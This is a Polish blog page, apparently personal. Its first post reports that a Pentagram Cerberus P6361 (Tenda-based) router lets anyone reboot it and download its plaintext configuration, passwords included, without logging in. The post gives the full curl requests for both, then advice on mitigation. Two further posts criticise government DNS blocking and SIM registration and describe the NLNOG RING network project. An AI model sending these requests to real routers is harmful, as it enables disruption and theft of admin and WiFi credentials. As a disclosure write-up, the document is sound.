Pentagram Cerberus P6361 – rzut okiem na bezpieczeństwo

tl;dr Router starawy, bezpieczeństwo żadne, a tytułowy Pentagram Cerberus P6361 to Tenda.

Razem z laptopem rodzice kupili parę lat temu router, właśnie tytułowy Pentagram Cerberus P6361. Byłem lekko zły, że nie konsultowali ze mną zakupu, ale kupili go za grosze, nie wiem czy nie w Biedronce. Obejrzałem go, stwierdziłem, że co prawda OpenWrt się nie da zainstalować, ale sensowne minimum jest. Znaczy miał 802.11n, możliwość włączenia WPA2 i wyłączenia WPS. Więc został. Pełnił tak naprawdę rolę AP, za routerem na Raspberry Pi. Pobór prądu znikomy, sprzęt działał zaskakująco stabilnie. Z racji tego, że był w sieci lokalnej, to logowanie tylko po HTTP nie miało większego znaczenia.

Często się słyszy o słabych zabezpieczeniach w routerach, zwłaszcza producentów specjalizujących się w tańszym sprzęcie. Przy okazji stwierdziłem, że poszukam błędów w ramach zabawy. Uruchomiłem Burp, zalogowałem się do routera i postanowiłem zrobić najprostszą rzecz, czyli zresetować router. Request trochę mnie zaskoczył, bo po skopiowaniu jako komenda curl wyglądał następująco:

curl -i -s -k -X $'GET' \
-H $'Host: 192.168.1.1:8081' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://192.168.1.1:8081/system_reboot.asp' -H $'If-Modified-Since: 0' -H $'Cookie: language=en; admin:language=en' -H $'Connection: close' \
-b $'language=en; admin:language=en' \
$'http://192.168.1.1:8081/goform/SysToolReboot'

Zgadza się, nie ma tam żadnych danych związanych z sesją. Uruchomienie ww. polecenia w konsoli, poza przeglądarką i następujący po tym reboot potwierdzają. Po prostu wysyłamy request, a router bez żadnego uwierzytelniania wykonuje polecenie.

No dobrze, to tylko reboot, czy można zrobić coś ciekawszego? Stwierdziłem, że najważniejsze co można z routera uzyskać, to hasło administratora i hasło do WiFi. Cerberus P6361 posiada możliwość pobrania backupu konfiguracji. Efektem jej pobrania jest plik tekstowy, zawierający otwartym tekstem pełną konfigurację, włącznie z wszystkimi hasłami. Zaskoczenia nie było – również ją można pobrać bez uwierzytelniania:

curl -i -s -k -X $'GET'     -H $'Host: 192.168.1.1:8081' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://192.168.1.1:8081/system_backup.asp' -H $'Cookie: language=en; admin:language=en' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1'     -b $'language=en; admin:language=en'     $'http://192.168.1.1:8081/cgi-bin/DownloadCfg/RouterCfm.cfg' 

Game over. Przyznaję, że po tym, co zobaczyłem, odeszła mnie ochota na dalszą zabawę, przynajmniej z tą wersją firmware:

Current system version: V5.07.18_pl_PEN; Publishing date: Nov 7 2011
Software version V5.07.18_pl_PEN
Hardware version V1.0

Pamiętałem, że dawno temu pobrałem nowszą wersję firmware’u (V5.07.21), ale nie zaktualizowałem go z braku czasu. Postanowiłem sprawdzić na stronie producenta, czy są nowsze wersje oprogramowania. Chciałem zaktualizować i sprawdzić przed zgłoszeniem czy bug nadal występuje i… niespodzianka. Strona producenta zniknęła. Liczyłem, że znajdę jakieś linki do firmware w necie, poszperałem więc nieco i okazało się, że Pentagram to tak naprawdę Tenda (co łatwo można potwierdzić na podstawie MAC adresu), czyli producent, którego routery zawierają mnóstwo podatności tego typu[1]. W znacznie nowszym firmware, którego, nawiasem nie widzę do pobrania ze strony producenta – jest 5.07.46 z 2013. Przy czym opieram się na tym, że wersja i rozmiar fimware są podobne. Pewności, że Pentagram Cerberus P6361 to Tenda W316R nie mam, routera zepsuć nie chcę, więc chwilowo nie wymieniam. Pobawię się intensywniej jak znajdę zastępcę.

Część smutna. Domyślnie router udostępnia interfejs do zarządzania na wszystkich interfejsach (adres 0.0.0.0) i wygląda, że nie ma dostępnego załatanego firmware’u. Rzut oka na portale z używanym sprzętem pokazuje, że sporo ludzi sprzedaje te routery. Ceny od 20 zł w górę. Jak się ktoś bardzo postara, to i nowy w sklepie znajdzie. Polecam kupić coś innego. Jeśli ktoś musi używać ww. routera, polecam pokombinować z niewystawianiem panelu zarządzania czy to przez zmianę adresu na którym słucha, czy trickiem z przekierowaniem portu opisanym przy podobnej okazji[2]. Wygląda na bardzo podobny błąd.

Najlepiej tego typu podatny router wymienić, co przy najbliższej okazji uczynię, mimo że jest używany sporadycznie. Za sprawą CSRF atak można wykonać od strony sieci LAN, więc brak wystawionego na świat interfejsu nie do końca zabezpiecza przed wykonaniem zdalnego ataku.

Shodan zwrócił zaskakująco mało wyników, ZoomEye nieco więcej, ale przypuszczam, że te sprzęty po prostu mają się już ku schyłkowi (patrz [2]). Ew. złe zapytania zrobiłem – niestety w tej chwili nie mam już dostępu do routera. Zdecydowałem się opisać, bo zabawa i przednia, i prosta. Sam exploit opublikowany był jeszcze w zeszłym roku, choć sprzęt starawy, a o dziurach w routerze zawsze warto przypomnieć – może ktoś załata/wymieni.

UPDATE: Podatność dotyczy całej rodziny routerów Tenda (W316R, N300) i podobnych tanich routerów SOHO: CVE-2020-35391, CVE-2017-14942.

UPDATE: Napisałem _bez żadnego uwierzytelniania_, co było półprawdą. Konieczny jest ustawienie Cookie z odpowiednią, stałą zawartością, co w praktyce na jedno wychodzi.

[1] Zmiana serwerów DNS jest kolejną ważną rzeczą. W sumie ważniejszą, niż hasło do WiFi, zwł. jeśli mowa o zdalnym sprzęcie.
[2] Aktualnie zapytanie zwraca poniżej 7 tys. wyników. W masową aktualizację nie wierzę, czyżby sprzęty nie przeżywały 6 lat? W sumie w tym przypadku dobrze…

Gotowanie żaby

Dziś będzie o gotowaniu żaby, czyli jak my, obywatele, oddajemy bezczynnie coraz więcej swojej wolności państwu. Po małym kawałeczku. Wpis jest zainspirowany dyskusją na kanale IRC o tym, jak to my, społeczeństwo bez protestu przyjmujemy to, co wymyśla rząd AKA miłościwie nam panujący.

Poszło o rządową cenzurę stron przy pomocy DNS. O sprawie pisał DI, pisała też Fundacja Panoptykon. Oczywiście, sprawa nikogo nie dotyczy – mało kogo interesuje hazard przez Internet, poza tym, co to za zabezpieczenie przez blokadę w DNS, skoro można zmienić DNS? No i mamy Tora i VPNy, łatwo można obejść ustawę za parę euro miesięcznie, jak pisałem. Zresztą na innych portalach branżowych również są instrukcje dotyczące czy to zmiany serwerów DNS, czy zdobycia łatwego VPNa. Niby nie ma sprawy.

Tyle, że powstało pozwolenie na pewną czynność i pewien mechanizm. Czynność to blokowanie dostępu do stron WWW czyli informacji na rozkaz państwa. Przy pomocy centralnego rejestru. Oczywiście na razie to tylko hazard i tylko nieskuteczna blokada DNS, ale… jaki problem rozszerzyć za jakiś czas indeks stron zakazanych o strony porno? Porno złe! I nikt nie będzie protestował. Albo krytykujące miłościwie nam panującego prezydenta. Albo równie miłościwie nam panujący rząd? Krytyka zła! I nikt nie będzie protestował.

Na razie mechanizm blokady jest nieskuteczny i prosty do obejścia, więc się godzimy na niego. Ale jaki problem za jakiś czas poprawić go? Omijają kontrolowane przez rząd DNSy? Wymuśmy, by ISP – nieodpłatnie rzecz jasna – przekierowywał każdy ruch DNS na nie. Używają Tora? Wiadomo do czego! Zablokujmy Tora! Nikt nie zaprotestuje. Używają dnscrypt i VPNów? Wiadomo do czego! Zablokujmy! Nie da się w DNSach? To nic, doda się obowiązek utrzymywania blokowania po IP. Nawet prostszy w implementacji… Nikt nie zaprotestuje.

Zwrócono w dyskusji uwagę, że przy ACTA były protesty na ulicach i że ten język rządzący rozumieją. Bo czy ten wpis, czy linkowane wyżej artykuły Panoptykonu czy DI, czy opinie Ministerstwa Cyfryzacji spływają po miłościwie nam panujących jak po kaczce. Teraz nie ma żadnych działań.

Nie chodzi o tę jedną ustawę, oczywiście. Przypominam, że powstaje (albo już powstał) ogólnopolski projekt monitorowania ruchu internetowego. Oczywiście znowu w imię walki z przestępczością i terroryzmem. Potem wystarczy dorzucić, że próby obejścia rządowej blokady są przestępstwem, wytypować korzystających z Tora, VPNów itp. i… z głowy. A wiadomo, że służby muszą mieć sukcesy. I że jak się ma młotek, to wszystko wygląda jak gwóźdź…

Inne, podobne: pamiętacie obowiązek rejestracji kart SIM, wprowadzony w imię walki z terroryzmem? Niektórzy zastanawiali się, co z niezarejestrowanymi. Niektórzy nie wierzyli jak pisałem, że po prostu za jakiś czas każą operatorom zablokować wszystkie niezarejestrowane karty. Że prawo nie może działać wstecz, że umowa, że operator się nie zgodzi. Otóż Plus już zmienił regulaminy:

Klienci zawierający umowę o świadczenie usług telekomunikacyjnych od dnia 25 lipca 2016 r. będą zobowiązani do dokonania rejestracji powyższych danych oraz umożliwienia ich weryfikacji z dokumentem potwierdzającym tożsamość przed zawarciem umowy i rozpoczęciem korzystania z usług.

Abonenci Na Kartę, którzy zawarli umowę o świadczenie usług telekomunikacyjnych przed dniem 25 lipca 2016 r. obowiązani są podać powyższe dane i umożliwić ich weryfikację najpóźniej do dnia 1 lutego 2017 r. Zgodnie z ustawą o działaniach antyterrorystycznych niedokonanie rejestracji powyższych danych będzie skutkowało całkowitym zaprzestaniem świadczenia usług z dniem 2 lutego 2017 r.

Nikt nie protestuje, nikogo to nie dotyczy, jaki problem zarejestrować kartę?

Temperatura wody rośnie, żaba nie reaguje…

NLNOG RING – zdiagnozuj sobie sieć

Odwieczny problem administratorów sieci to mogę sprawdzić trasę od siebie do danego hosta, ale jak wygląda w drugą stronę? Próbą rozwiązania tego zagadnienia były looking glass, pozwalające na wykonanie od określonego operatora ping czy traceroute. Czasem potrzeba jednak czegoś więcej – sprawdzenia resolvowania DNS, zbadanie stabilności transferu itp. Ogólnie przydałby się shell.

Projekt NLNOG RING jest odpowiedzią na to zapotrzebowanie. Opiera się na prostej zasadzie wzajemności: udostępniamy maszynę wirtualną (administrowaną przez opiekunów projektu) dla projektu, w zamian otrzymujemy dostęp do pozostałych maszyn projektu, w różnych częściach świata i – co ważniejsze – w wielu różnych ASN.

Wymagania co do maszyny są naprawdę niewielkie – 1 GB RAM, 20 GB dysku, 1 core 64bit procesora, adresy IPv4 oraz IPv6. Musi stać w naszym AS i na naszej adresacji. Myślę, że w tej chwili większość operatorów, nawet niewielkich sieci radiowych jest w stanie sprostać. Pozostałe wymagania stawiane organizacji (usługa jest kierowana do firm) to m.in.: bycie operatorem sieciowym, własne ASN, prefiksy IPv4 i IPv6, zgoda organizacji na uczestnictwo w projekcie.

Możliwe jest zarówno połączenie po SSH do wybranej maszyny, jak i wykonywanie, przy pomocy dostępnych narzędzi, operacji na wszystkich maszynach projektu jednocześnie. Generalnie potrafi bardzo pomóc w diagnostyce.

Projekt działa od wielu lat, ale dziś dowiedziałem się, że nawet w środowisku sieciowym niekoniecznie jest znany, więc uważam, że warto przypomnieć o jego istnieniu. Teoretycznie istnieje ryzyko nadużyć, ale użytkownikami są administratorzy sieci, polityka to zero tolerancji dla nadużyć i nie kojarzę jakichkolwiek problemów związanych z udostępnianiem maszyny. Korzystałem, polecam.